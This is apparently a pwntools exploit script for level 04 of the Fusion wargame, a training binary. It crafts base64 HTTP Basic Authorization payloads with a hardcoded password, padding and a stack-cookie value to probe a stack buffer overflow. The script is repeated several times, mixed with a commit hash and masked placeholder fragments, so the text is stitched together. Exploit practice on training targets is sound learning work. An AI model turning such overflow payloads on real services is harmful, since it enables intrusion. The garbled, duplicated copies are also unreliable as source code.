from pwn import *
import base64
from pwnhelper import *
import itertools
import sys
import datetime

def to_clipboard(data):
    from subprocess import Popen, PIPE
    xsel = Popen(['xsel', '-bi'], stdin=PIPE)
    xsel.communicate(input=data)
    log.info(f"put to clipboard: {data}")


def gen_alpha():
    alpha = ""
    for i in range(26):
        alpha += 4 * chr((ord('A') + i))
    return bytes(alpha,"utf-8")


def pad(s, slen):
    return s+b"B"*(slen-len(s))


libc = None
elf = None
c_binary = None
def init(level):
    global libc
    global elf
    global c_binary
    local_dir = "/home/kali/PycharmProjects/fusion/level"+level
    remote_binary = "/opt/fusion/bin/level"+level
    cloned_binary = local_dir+remote_binary
    elf = ELF(cloned_binary)
    libc = ELF(local_dir + "/lib/i386-linux-gnu/libc.so.6")
    context.clear()
    context.binary = cloned_binary
    context.log_file = "/tmp/docgillog"

    clion_base = "/home/kali/CLionProjects/fusion" + level
    c_binary = clion_base + "/fusion04"
    # gcc_log = open(clion_base + "/gcc.log", 'w')
    # gcc = process(["gcc",  clion_base + "/main.c", "-o", clion_base + "/" + c_binary],
    #               stdout=gcc_log.fileno(), stderr=gcc_log.fileno())
    # gcc.wait_for_close()
    # assert gcc.poll() == 0
    # p = process([clion_base + "/" + c_binary], stderr=STDOUT)
    # p = process([c_binary])


def recv_all(p):
    while True:
        data = p.recv().decode("utf-8")
        log.warn(f"new data: \n{data}\n\n")

debug = False
if len(sys.argv) > 1:
    debug = True


init("04")


alpha = gen_alpha()
log.info(f"alpha: {alpha}")

stack_cookie = pack(0x7d68fa00, 32)


for index in range(len(alpha)):
    alpha_with_cookie = alpha[:index] + stack_cookie + alpha[index + 1:]
    err_log = open("/tmp/gilerr", 'w')
    nc = process([c_binary], stderr=err_log.fileno())

    path = b"/core"
    protocol = b"HTTP/1.0"
    password = b"L8d4KLI1Eq1MJ68D\x00"
    # found with level04-pw.py script
    payload = b""
    payload += password
    payload = pad(payload, 2048)
    payload += alpha_with_cookie
    payload = base64.b64encode(payload)

    # log.info(f"payload: {payload}")

    request = b""
    request += b"GET " + path + b" " + protocol + b"\n"
    request += b"Authorization: Basic " + payload + b"\n"
    request += b"\n"

    log.info(f"request: {request}")

    if debug:
        pid = process(["pgrep", "fusion04"]).recvall().rstrip()
        to_clipboard(pid)
        input("Press Enter to continue...")
        time.sleep(0.5)

    nc.send("\n")
    pw = nc.recvline()
    log.info(f"pw: {pw}")

    # thread = threading.Thread(target=recv_all, args=(nc,))
    # thread.start()
    # time.sleep(0.5)

    nc.send(request)

    try:
        recv_all(nc)
    except EOFError:
        ret_code = nc.poll()
        log.info(f"progam crashed {ret_code}")
        err_msg = read(err_log)
        log.info(f"err_msg: {err_msg}")
        exit(0)




7397e8f4f80d73b6ecb1a43e16fc8244a4611100
<mask token>


def to_clipboard(data):
    from subprocess import Popen, PIPE
    xsel = Popen(['xsel', '-bi'], stdin=PIPE)
    xsel.communicate(input=data)
    log.info(f'put to clipboard: {data}')


def gen_alpha():
    alpha = ''
    for i in range(26):
        alpha += 4 * chr(ord('A') + i)
    return bytes(alpha, 'utf-8')


def pad(s, slen):
    return s + b'B' * (slen - len(s))


<mask token>


def recv_all(p):
    while True:
        data = p.recv().decode('utf-8')
        log.warn(f'new data: \n{data}\n\n')


<mask token>

<mask token>


def to_clipboard(data):
    from subprocess import Popen, PIPE
    xsel = Popen(['xsel', '-bi'], stdin=PIPE)
    xsel.communicate(input=data)
    log.info(f'put to clipboard: {data}')


def gen_alpha():
    alpha = ''
    for i in range(26):
        alpha += 4 * chr(ord('A') + i)
    return bytes(alpha, 'utf-8')


def pad(s, slen):
    return s + b'B' * (slen - len(s))


<mask token>


def init(level):
    global libc
    global elf
    global c_binary
    local_dir = '/home/kali/PycharmProjects/fusion/level' + level
    remote_binary = '/opt/fusion/bin/level' + level
    cloned_binary = local_dir + remote_binary
    elf = ELF(cloned_binary)
    libc = ELF(local_dir + '/lib/i386-linux-gnu/libc.so.6')
    context.clear()
    context.binary = cloned_binary
    context.log_file = '/tmp/docgillog'
    clion_base = '/home/kali/CLionProjects/fusion' + level
    c_binary = clion_base + '/fusion04'


def recv_all(p):
    while True:
        data = p.recv().decode('utf-8')
        log.warn(f'new data: \n{data}\n\n')


<mask token>
if len(sys.argv) > 1:
    debug = True
init('04')
<mask token>
log.info(f'alpha: {alpha}')
<mask token>
for index in range(len(alpha)):
    alpha_with_cookie = alpha[:index] + stack_cookie + alpha[index + 1:]
    err_log = open('/tmp/gilerr', 'w')
    nc = process([c_binary], stderr=err_log.fileno())
    path = b'/core'
    protocol = b'HTTP/1.0'
    password = b'L8d4KLI1Eq1MJ68D\x00'
    payload = b''
    payload += password
    payload = pad(payload, 2048)
    payload += alpha_with_cookie
    payload = base64.b64encode(payload)
    request = b''
    request += b'GET ' + path + b' ' + protocol + b'\n'
    request += b'Authorization: Basic ' + payload + b'\n'
    request += b'\n'
    log.info(f'request: {request}')
    if debug:
        pid = process(['pgrep', 'fusion04']).recvall().rstrip()
        to_clipboard(pid)
        input('Press Enter to continue...')
        time.sleep(0.5)
    nc.send('\n')
    pw = nc.recvline()
    log.info(f'pw: {pw}')
    nc.send(request)
    try:
        recv_all(nc)
    except EOFError:
        ret_code = nc.poll()
        log.info(f'progam crashed {ret_code}')
        err_msg = read(err_log)
        log.info(f'err_msg: {err_msg}')
        exit(0)

<mask token>


def to_clipboard(data):
    from subprocess import Popen, PIPE
    xsel = Popen(['xsel', '-bi'], stdin=PIPE)
    xsel.communicate(input=data)
    log.info(f'put to clipboard: {data}')


def gen_alpha():
    alpha = ''
    for i in range(26):
        alpha += 4 * chr(ord('A') + i)
    return bytes(alpha, 'utf-8')


def pad(s, slen):
    return s + b'B' * (slen - len(s))


libc = None
elf = None
c_binary = None


def init(level):
    global libc
    global elf
    global c_binary
    local_dir = '/home/kali/PycharmProjects/fusion/level' + level
    remote_binary = '/opt/fusion/bin/level' + level
    cloned_binary = local_dir + remote_binary
    elf = ELF(cloned_binary)
    libc = ELF(local_dir + '/lib/i386-linux-gnu/libc.so.6')
    context.clear()
    context.binary = cloned_binary
    context.log_file = '/tmp/docgillog'
    clion_base = '/home/kali/CLionProjects/fusion' + level
    c_binary = clion_base + '/fusion04'


def recv_all(p):
    while True:
        data = p.recv().decode('utf-8')
        log.warn(f'new data: \n{data}\n\n')


debug = False
if len(sys.argv) > 1:
    debug = True
init('04')
alpha = gen_alpha()
log.info(f'alpha: {alpha}')
stack_cookie = pack(2104031744, 32)
for index in range(len(alpha)):
    alpha_with_cookie = alpha[:index] + stack_cookie + alpha[index + 1:]
    err_log = open('/tmp/gilerr', 'w')
    nc = process([c_binary], stderr=err_log.fileno())
    path = b'/core'
    protocol = b'HTTP/1.0'
    password = b'L8d4KLI1Eq1MJ68D\x00'
    payload = b''
    payload += password
    payload = pad(payload, 2048)
    payload += alpha_with_cookie
    payload = base64.b64encode(payload)
    request = b''
    request += b'GET ' + path + b' ' + protocol + b'\n'
    request += b'Authorization: Basic ' + payload + b'\n'
    request += b'\n'
    log.info(f'request: {request}')
    if debug:
        pid = process(['pgrep', 'fusion04']).recvall().rstrip()
        to_clipboard(pid)
        input('Press Enter to continue...')
        time.sleep(0.5)
    nc.send('\n')
    pw = nc.recvline()
    log.info(f'pw: {pw}')
    nc.send(request)
    try:
        recv_all(nc)
    except EOFError:
        ret_code = nc.poll()
        log.info(f'progam crashed {ret_code}')
        err_msg = read(err_log)
        log.info(f'err_msg: {err_msg}')
        exit(0)

from pwn import *
import base64
from pwnhelper import *
import itertools
import sys
import datetime


def to_clipboard(data):
    from subprocess import Popen, PIPE
    xsel = Popen(['xsel', '-bi'], stdin=PIPE)
    xsel.communicate(input=data)
    log.info(f'put to clipboard: {data}')


def gen_alpha():
    alpha = ''
    for i in range(26):
        alpha += 4 * chr(ord('A') + i)
    return bytes(alpha, 'utf-8')


def pad(s, slen):
    return s + b'B' * (slen - len(s))


libc = None
elf = None
c_binary = None


def init(level):
    global libc
    global elf
    global c_binary
    local_dir = '/home/kali/PycharmProjects/fusion/level' + level
    remote_binary = '/opt/fusion/bin/level' + level
    cloned_binary = local_dir + remote_binary
    elf = ELF(cloned_binary)
    libc = ELF(local_dir + '/lib/i386-linux-gnu/libc.so.6')
    context.clear()
    context.binary = cloned_binary
    context.log_file = '/tmp/docgillog'
    clion_base = '/home/kali/CLionProjects/fusion' + level
    c_binary = clion_base + '/fusion04'


def recv_all(p):
    while True:
        data = p.recv().decode('utf-8')
        log.warn(f'new data: \n{data}\n\n')


debug = False
if len(sys.argv) > 1:
    debug = True
init('04')
alpha = gen_alpha()
log.info(f'alpha: {alpha}')
stack_cookie = pack(2104031744, 32)
for index in range(len(alpha)):
    alpha_with_cookie = alpha[:index] + stack_cookie + alpha[index + 1:]
    err_log = open('/tmp/gilerr', 'w')
    nc = process([c_binary], stderr=err_log.fileno())
    path = b'/core'
    protocol = b'HTTP/1.0'
    password = b'L8d4KLI1Eq1MJ68D\x00'
    payload = b''
    payload += password
    payload = pad(payload, 2048)
    payload += alpha_with_cookie
    payload = base64.b64encode(payload)
    request = b''
    request += b'GET ' + path + b' ' + protocol + b'\n'
    request += b'Authorization: Basic ' + payload + b'\n'
    request += b'\n'
    log.info(f'request: {request}')
    if debug:
        pid = process(['pgrep', 'fusion04']).recvall().rstrip()
        to_clipboard(pid)
        input('Press Enter to continue...')
        time.sleep(0.5)
    nc.send('\n')
    pw = nc.recvline()
    log.info(f'pw: {pw}')
    nc.send(request)
    try:
        recv_all(nc)
    except EOFError:
        ret_code = nc.poll()
        log.info(f'progam crashed {ret_code}')
        err_msg = read(err_log)
        log.info(f'err_msg: {err_msg}')
        exit(0)

from pwn import *
import base64
from pwnhelper import *
import itertools
import sys
import datetime

def to_clipboard(data):
    from subprocess import Popen, PIPE
    xsel = Popen(['xsel', '-bi'], stdin=PIPE)
    xsel.communicate(input=data)
    log.info(f"put to clipboard: {data}")


def gen_alpha():
    alpha = ""
    for i in range(26):
        alpha += 4 * chr((ord('A') + i))
    return bytes(alpha,"utf-8")


def pad(s, slen):
    return s+b"B"*(slen-len(s))


libc = None
elf = None
c_binary = None
def init(level):
    global libc
    global elf
    global c_binary
    local_dir = "/home/kali/PycharmProjects/fusion/level"+level
    remote_binary = "/opt/fusion/bin/level"+level
    cloned_binary = local_dir+remote_binary
    elf = ELF(cloned_binary)
    libc = ELF(local_dir + "/lib/i386-linux-gnu/libc.so.6")
    context.clear()
    context.binary = cloned_binary
    context.log_file = "/tmp/docgillog"

    clion_base = "/home/kali/CLionProjects/fusion" + level
    c_binary = clion_base + "/fusion04"
    # gcc_log = open(clion_base + "/gcc.log", 'w')
    # gcc = process(["gcc",  clion_base + "/main.c", "-o", clion_base + "/" + c_binary],
    #               stdout=gcc_log.fileno(), stderr=gcc_log.fileno())
    # gcc.wait_for_close()
    # assert gcc.poll() == 0
    # p = process([clion_base + "/" + c_binary], stderr=STDOUT)
    # p = process([c_binary])


def recv_all(p):
    while True:
        data = p.recv().decode("utf-8")
        log.warn(f"new data: \n{data}\n\n")

debug = False
if len(sys.argv) > 1:
    debug = True


init("04")


alpha = gen_alpha()
log.info(f"alpha: {alpha}")

stack_cookie = pack(0x7d68fa00, 32)


for index in range(len(alpha)):
    alpha_with_cookie = alpha[:index] + stack_cookie + alpha[index + 1:]
    err_log = open("/tmp/gilerr", 'w')
    nc = process([c_binary], stderr=err_log.fileno())

    path = b"/core"
    protocol = b"HTTP/1.0"
    password = b"L8d4KLI1Eq1MJ68D\x00"
    # found with level04-pw.py script
    payload = b""
    payload += password
    payload = pad(payload, 2048)
    payload += alpha_with_cookie
    payload = base64.b64encode(payload)

    # log.info(f"payload: {payload}")

    request = b""
    request += b"GET " + path + b" " + protocol + b"\n"
    request += b"Authorization: Basic " + payload + b"\n"
    request += b"\n"

    log.info(f"request: {request}")

    if debug:
        pid = process(["pgrep", "fusion04"]).recvall().rstrip()
        to_clipboard(pid)
        input("Press Enter to continue...")
        time.sleep(0.5)

    nc.send("\n")
    pw = nc.recvline()
    log.info(f"pw: {pw}")

    # thread = threading.Thread(target=recv_all, args=(nc,))
    # thread.start()
    # time.sleep(0.5)

    nc.send(request)

    try:
        recv_all(nc)
    except EOFError:
        ret_code = nc.poll()
        log.info(f"progam crashed {ret_code}")
        err_msg = read(err_log)
        log.info(f"err_msg: {err_msg}")
        exit(0)



